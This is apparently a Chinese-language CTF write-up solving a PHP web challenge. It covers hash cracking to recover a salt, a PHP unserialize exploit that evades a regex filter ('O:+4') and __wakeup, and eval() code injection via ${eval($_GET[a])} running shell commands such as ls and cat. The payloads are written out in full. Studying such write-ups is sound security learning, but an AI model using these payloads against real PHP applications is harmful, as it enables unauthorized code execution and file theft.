累~这道题查了好多资料,先总结一下:解hash,反序列化,绕过正则,eval的熟练运用。
打开页面有个链接hahaha,点进去,显示you are 123;if you are not 123,you can get the flag,审查元素,得到提示。
图片.png
意思是,当key!=123和它对应hash传回去,就能得到flag,也就是需要知道sign是多少。
题给了一组key=3,hash=f9109d5f83921a551cf859f853afe7bb,对hash找个网站解密,解密结果为kkkkkk01123,也就是sign=kkkkkk01。然后随便填个key=111,将kkkkkk01111对应的hash传回去。
得到页面返回next step is Gu3ss_m3_h2h2.php。访问看到源代码
<?php
class Demo {
private $file = 'Gu3ss_m3_h2h2.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'Gu3ss_m3_h2h2.php') {
//the secret is in the f15g_1s_here.php
$this->file = 'Gu3ss_m3_h2h2.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("Gu3ss_m3_h2h2.php");
}
?>
大意是用get方式传递var参数,先对它base64解码,接着正则匹配,然后对其反序列化。在反序列化时,wakeup这个函数使得我们传进去的文件名f15g_1s_here.php变成Gu3ss_m3_h2h2.php了,想要读取f15g_1s_here.php,需要绕过它。(具体见之前写的一篇反序列化中__wakeup()函数漏洞)
对于用'+'绕过正则,参考了这篇文章,链接https://xz.aliyun.com/t/2733。
接下来开始操作
<?php
class Demo {
private $file = 'Gu3ss_m3_h2h2.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'Gu3ss_m3_h2h2.php') {
//the secret is in the f15g_1s_here.php
$this->file = 'Gu3ss_m3_h2h2.php';
}
}
}
$a = new Demo('f15g_1s_here.php');
$s = serialize($a);
echo $s;
echo '<br>';
$s = str_replace('O:4', 'O:+4',$s);//绕过正则
$s = str_replace(':1:', ':2:' ,$s);//绕过wakeup函数
echo base64_encode($s);//最后base64编码
?>
得到结果
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==
Gu3ss_m3_h2h2.php?var=上面的结果将其传回,然后返回了f15g_1s_here.php的源码。如下
<?php
if (isset($_GET['val'])) {
$val = $_GET['val'];
eval('$value="' . addslashes($val) . '";');
} else {
die('hahaha!');
}
?>
接下来就是利用 上面的eval()函数来找到flag,它将传进去的参数转义处理,然后执行,这里val是可控的,所以构造payload
f15g_1s_here.php?val=${eval("echo 'ls' ;")}
但是addslashes对单引号,双引号,反斜杠进行了转义,所以只能用反引号(`)。而且反斜杠被转义了,使用不了引号嵌套。所以想到再利用一次get请求。payload如下
f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `ls`;//注意最后的分号。
得到True_F1ag_i3_Here_233.php
图片.png
修改payload
f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `cat True_F1ag_i3_Here_233.php`;
审查元素得到flag
图片.png
网友评论